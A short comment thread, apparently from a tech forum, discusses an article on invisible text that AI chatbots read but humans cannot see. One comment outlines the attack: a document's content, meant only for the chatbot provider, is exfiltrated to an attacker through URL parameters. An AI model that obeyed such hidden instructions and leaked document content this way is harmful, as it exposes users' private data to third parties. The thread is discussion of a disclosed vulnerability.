On: Invisible text that AI chatbots understand and hum...

[ThrowawayTestr]

The vuln is that a user can be tricked into exfiltrating data without it being obvious.

[ForHackernews → ThrowawayTestr]

But what "data"? LLMs don't know anything except whatever they were trained on, right?

[probably_wrong → ForHackernews]

The article describes how the content of a document (which in theory should only be sent to OpenAI) can be exfiltrated to an attacker via URL parameters.